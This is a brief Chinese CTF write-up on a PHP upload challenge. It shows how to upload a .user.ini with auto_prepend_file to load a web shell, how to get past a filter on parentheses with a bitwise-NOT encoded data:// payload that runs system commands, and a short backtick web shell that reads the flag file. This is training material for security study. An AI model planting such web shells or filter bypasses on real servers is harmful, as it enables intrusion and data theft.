思路
直接在burp里面改target
和host
的值,或者在本地发包
成功上传.user.ini
auto_prepend_file=shell.png
相比之前题目的过滤发现()
也不能用了,不过可以用取反和异或来绕过
不需要括号的函数
echo
require
include
Y1ng师傅的取反脚本,用data协议来执行代码
<?php
$a = "data://text/plain,<?php system('tac ../f*');?>";
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
echo "%".bin2hex(~$a[$i]);
}
echo ")";
//require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1?>
由于post提交参数服务器不能自动url解码,所以要想解码一次再提交
访问upload,拿到flag
总结
也可以用
shell.png
<?=`tac ../f*`?>